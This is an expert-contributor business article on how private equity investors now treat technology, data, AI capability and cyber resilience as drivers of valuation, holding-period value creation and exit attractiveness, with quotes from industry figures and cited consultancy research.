<p>Technology is no longer the plumbing underneath the business. In many cases, it is now directly shaping valuation, resilience, scalability and exit attractiveness.</p>



<h2 class="wp-block-heading">Technology is now part of the investment thesis</h2>



<p>One of the biggest mistakes organizations still make is treating technology as a secondary operational concern rather than part of the core business model.</p>



<p>I have always looked at technology decisions through three lenses: does it grow revenue, does it drive margin and does it improve resilience? Those three outcomes are also the core drivers of enterprise value creation.</p>



<p>Historically, many PE firms focused technology due diligence on risk reduction. Was the platform stable? Was it secure? Could it scale? Those questions still matter, but the conversation has become significantly more commercial.</p>



<p>Scott explains that investors are now asking whether “the product, data and AI capability can genuinely change the economics of the business.”</p>



<p>That changes the nature of due diligence entirely.</p>



<p>This aligns closely with EY’s view of the <a href="https://www.ey.com/en_uk/insights/private-equity/three-tech-pillars-driving-value-creation-for-pe-portfolio-companies" rel="nofollow">modern PE technology lifecycle</a>, where value creation increasingly spans technology due diligence, transformation during the holding period and exit optimization.</p>



<p>Technology due diligence is no longer just about identifying weaknesses. It is increasingly about understanding whether the technology capability of the organization can accelerate growth, create operational leverage, improve retention, support expansion and strengthen the eventual exit story.</p>



<p>Most value is not created during the deal itself. It is created through execution discipline across the holding period — where technology, data, AI and operational delivery either accelerate momentum or quietly erode it.</p>



<p>Giles Moore, development manager at PXN Group, argues that “technology is no longer only supporting growth, it is directly influencing profit margins, efficiency, resilience and exit attractiveness.”</p>



<p>That is a major shift.</p>



<p>In many organizations today, the quality of architecture, operational data, delivery capability, cyber maturity and engineering leadership directly affects how scalable and investable the business appears.</p>



<p>Poor operational technology discipline now creates drag on value creation. Technical debt slows delivery. Weak governance creates risk. Poor data quality undermines AI capability. Fragile infrastructure reduces resilience. Slow decision-making damages momentum.</p>



<p>Private equity firms increasingly understand this.</p>



<p>Research from Boston Consulting Group reinforces this shift. BCG <a href="https://www.bcg.com/publications/2026/private-equitys-future-digital-first-and-ai-powered" rel="nofollow">found that 86% of PE investors now integrate digital capability</a> into value creation plans or investment theses, reflecting how central technology has become to enterprise growth and exit strategy.</p>



<p>The challenge is that many leadership teams still do not.</p>



<h2 class="wp-block-heading">AI is changing the economics of operational delivery</h2>



<p>AI now sits in almost every investor conversation, but the reality is more nuanced than the market hype suggests.</p>



<p>Now, AI is primarily a margin driver unless AI itself is the product.</p>



<p>The clearest value today comes from operational efficiency, automation and productivity improvement. Developer acceleration, workflow automation, support optimization, compliance processing, document analysis and operational throughput are all areas where AI is already delivering measurable value.</p>



<p>Damindu Jayaweera, Head of Technology Research at Peel Hunt, puts it simply: “Developer productivity, automation of level 1 support, and enhancing marketing throughput” are currently the easiest AI value stories to articulate.</p>



<p>Revenue growth through AI is still harder to prove in most sectors.</p>



<p>There are exceptions, particularly where AI enables entirely new products or fundamentally changes delivery economics, but many organizations are still struggling to move beyond pilots and experimentation into scaled operational impact.</p>



<p>That is partly because implementation remains harder than most organizations expected.</p>



<p>Many businesses still approach AI tactically rather than strategically. Teams are given licences to generative AI tools with little governance, limited operational integration and no clear ownership structure.</p>



<p>Scott highlights this risk directly, warning that many organizations are pursuing fragmented bottom-up adoption without “a dedicated AI lead with the right level of authority and experience to turn this grass roots innovation into scalable and repeatable solutions.”</p>



<p>This is where leadership maturity becomes critical.</p>



<p>AI adoption without governance, operational structure and delivery discipline simply creates noise. Worse, it can create security, compliance and resilience risks that materially damage enterprise value.</p>



<p>There is also a growing misconception that simply adding AI to a product or business model increases valuation. It does not.</p>



<p>Moore makes the point well: “Using AI now should be a standard so the valuation cannot be based on having this anymore.”</p>



<p>That is exactly right.</p>



<p>The market is already moving past superficial AI positioning. Investors are becoming more disciplined about distinguishing between genuine defensible capability and a thin layer sitting on top of third-party models.</p>



<h2 class="wp-block-heading">Cyber resilience, data quality and execution now shape valuation</h2>



<p>Technology capability is not just about growth opportunity. It is also about risk containment.</p>



<p>Cyber security, resilience and operational stability now play directly into value preservation and exit confidence. A major cyber incident, operational failure or regulatory issue can materially damage valuation overnight.<br><br>That risk is increasingly recognised during technical due diligence. FTI Consulting highlights how <a href="https://www.fticonsulting.com/insights/articles/cybersecurity-private-equity-adding-value-reducing-risk" rel="nofollow">cyber weaknesses can directly undermine enterprise value</a>, particularly where investors underestimate operational resilience and governance maturity.</p>



<p>It becomes even more important in AI-enabled organizations where the threat surface is increasing rapidly.</p>



<p>Jayaweera highlights that AI has “increased the threat surface, added to cost uncertainty and brought into question the value of the system of record.”</p>



<p>He also makes an excellent point around what he calls “token-tax”. Cloud cost models were relatively predictable. AI consumption models are far less mature and far harder to forecast operationally.</p>



<p>That uncertainty matters for investors.</p>



<p>It also reinforces why strong data governance, architecture and operational discipline are becoming increasingly important components of due diligence.</p>



<p>The organizations creating the strongest enterprise value today are not necessarily the ones making the most noise about AI. They are the ones building scalable operating models underneath it.</p>



<p>That includes:</p>



<ul class="wp-block-list">
<li>High-quality operational data</li>



<li>Scalable platforms</li>



<li>Resilient infrastructure</li>



<li>Embedded governance</li>



<li>Mature engineering practices</li>



<li>Operational execution capability</li>



<li>Strong cyber resilience</li>



<li>Clear ownership and accountability</li>
</ul>



<p>Those foundations increasingly determine whether AI becomes commercially useful or simply another expensive experiment.</p>



<p>The same is true at exit.</p>



<p>Buyers are not paying premiums simply because a business claims to have AI capability. They pay premiums where technology capability shows up in measurable business outcomes — stronger retention, better margins, operational scalability, automation, pricing power and defensible market position.</p>



<p>As Scott notes, AI and data capability influence valuation “when it shows up in the quality of revenue and the exit story.”</p>



<p>That is the key point many organizations still underestimate.</p>



<p>Technology capability is no longer separate from enterprise value. Increasingly, it is enterprise value.</p>



<h2 class="wp-block-heading">The businesses that execute fastest will win</h2>



<p>The private equity firms creating the strongest returns over the next decade are unlikely to be the ones simply investing the most capital. They will be the firms that best understand how technology, data, AI and operational execution combine to accelerate enterprise value creation.</p>



<p>That means looking beyond surface-level AI narratives and understanding the deeper operational mechanics underneath the business.</p>



<p>It means assessing whether leadership teams can execute transformation at pace. Whether operational structures can scale. Whether data quality is fit for purpose. Whether cyber resilience is mature enough to protect enterprise value. Whether technology architecture enables growth rather than slowing it down.</p>



<p>Most importantly, it means recognising that technology is no longer just a support capability.</p>



<p>The PE firms that understand this earliest — and execute against it fastest — will outperform the market over the next decade.</p>



<p>As Jayaweera puts it succinctly: “AI is technology. And technology is going to eat more of the world.”</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>



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